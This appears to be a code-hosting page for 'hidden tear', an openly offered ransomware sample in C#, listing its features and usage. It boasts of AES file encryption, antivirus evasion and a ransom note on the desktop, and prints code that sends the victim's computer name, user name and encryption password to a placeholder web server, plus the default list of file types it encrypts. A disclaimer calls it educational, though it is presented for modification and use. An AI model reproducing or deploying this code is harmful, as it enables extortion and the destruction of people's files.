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About the developer

goliate
492 Stars 371 Forks 10 Commits 9 Opened issues

Description

ransomware open-sources

Services available

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Contributors list

     _     _     _     _              _                  
    | |   (_)   | |   | |            | |                 
    | |__  _  __| | __| | ___ _ __   | |_ ___  __ _ _ __ 
    | '_ \| |/ _` |/ _` |/ _ \ '_ \  | __/ _ \/ _` | '__|
    | | | | | (_| | (_| |  __/ | | | | ||  __/ (_| | |   
    |_| |_|_|\__,_|\__,_|\___|_| |_|  \__\___|\__,_|_|   

It's a ransomware-like file crypter sample which can be modified for specific purposes.

Features * Uses AES algorithm to encrypt files. * Sends encryption key to a server. * Encrypted files can be decrypt in decrypter program with encryption key. * Creates a text file in Desktop with given message. * Small file size (12 KB) * Doesn't detected to antivirus programs (15/08/2015) http://nodistribute.com/result/6a4jDwi83Fzt

Demonstration Video

https://www.youtube.com/watch?v=LtiRISepIfs

Usage

  • You need to have a web server which supports scripting languages like php,python etc. Change this line with your URL. (You better use Https connection to avoid eavesdropping)

string targetURL = "https://www.example.com/hidden-tear/write.php?info=";
  • The script should writes the GET parameter to a text file. Sending process running in
    SendPassword()
    function
  string info = computerName + "-" + userName + " " + password;
  var fullUrl = targetURL + info;
  var conent = new System.Net.WebClient().DownloadString(fullUrl);

  • Target file extensions can be change. Default list:
var validExtensions = new[]{".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpg", ".png", ".csv", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html", ".xml", ".psd"};

Legal Warning

While this may be helpful for some, there are significant risks. hidden tear may be used only for Educational Purposes. Do not use it as a ransomware! You could go to jail on obstruction of justice charges just for running hidden tear, even though you are innocent.

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